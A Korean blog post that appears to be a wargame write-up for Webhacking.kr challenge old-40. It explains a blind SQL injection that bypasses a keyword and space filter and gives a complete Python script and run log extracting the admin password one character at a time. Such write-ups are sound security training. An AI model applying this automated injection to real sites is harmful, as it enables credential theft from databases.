ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[Webhacking.kr] Challenge old-40 write-up
write-up(web)/webhacking.kr

[Webhacking.kr] Challenge old-40 write-up

2023. 1. 19. 02:14

문제 화면 입니다.

 

로그인하면 guest로 로그인 됩니다.

 

blind sql injection임을 직감하고 값을 조작해봤습니다.

일단 addslash 함수가 적용되어 있는 듯 합니다.

id,pw는 손 쓸 방법이 없고 no가 유일한 해결책입니다.

no에선 'or', 'and', 'select', ' ', '+', '-' 문자 등을 사용할 수 없습니다. 

 

이 외의 문자들을 활용해 아래와 같이 입력하자

 

admin password를 입력하는 창이 나왔습니다.

 

블라인드 인젝션이 확실함을 알게 되었으니

파이썬으로 자동화 코드를 짜줍시다.

 

다음은 제가 사용한 익스플로잇 코드입니다.

import requests
host = "https://webhacking.kr/challenge/web-29/"
cookie = {'PHPSESSID':''}

pwLen = 0
while True:
    pwLen += 1
    print(pwLen,end=',')
    query = f"?no=2||length(pw)={pwLen}&id=guset&pw=guset"
    re = requests.post(f"{host}{query}",cookies=cookie)
    if "admin password" in re.text:
        print(f" pw length : {pwLen}")
        break

pw=''
for i in range(1,pwLen+1):
    for k in range(127,0,-1):
        l = chr(k)
        print(l,end=',')
        query = f"?no=2||length(pw)={pwLen}%26%26conv(hex(substr(pw,{i},1)),16,10)={k}&id=guset&pw=guset"
        re = requests.post(f"{host}{query}",cookies=cookie)
        if "admin password" in re.text:
            print(f" {i}'s pw : {l}")
            pw += l
            break
print(pw)

 

length 함수로 길이를 알아낸 다음 한 문자씩 알아가는 방식을 사용했습니다.

addslash 함수 때문에 문자끼리 비교는 어렵습니다.

char -> int 로 바꿔줄 필요가 있습니다.

 

먼저 hex 함수로 char를 hex로 바꿔줬습니다.

다만 hex 문자로 바뀌기 때문에 이를 int로 바꿔 줄 필요가 있습니다.

conv('바꿀 문자',16,10)를 통해 16진수를 10진수로 바꿔주었습니다.

이제 숫자가 되었으므로 크기 비교가 가능해집니다.

 

실행 결과는 아래와 같습니다.

1,2,3,4,5,6,7,8,9,10, pw length : 10
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l, 1's pw : l
,~,},|,{,z,y,x,w,v,u, 2's pw : u
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d,c, 3's pw : c
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k, 4's pw : k
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d,c,b,a,`,_, 5's pw : _
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d,c,b,a, 6's pw : a
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d, 7's pw : d
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m, 8's pw : m
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i, 9's pw : i
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n, 10's pw : n
luck_admin

 

이 값을 admin password에 제출해주면

문제가 풀립니다~

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Challenge old-60 write-up  (0) 2023.04.05
[Webhacking.kr] Challenge old-13 write-up  (0) 2023.03.26
[Webhacking.kr] Challenge old-48 write-up  (0) 2023.01.18
[Webhacking.kr] Challenge old-37 write-up  (0) 2022.12.26
[Webhacking.kr] NotSQL write-up  (0) 2022.12.23
    'write-up(web)/webhacking.kr' 카테고리의 다른 글
    • [Webhacking.kr] Challenge old-60 write-up
    • [Webhacking.kr] Challenge old-13 write-up
    • [Webhacking.kr] Challenge old-48 write-up
    • [Webhacking.kr] Challenge old-37 write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바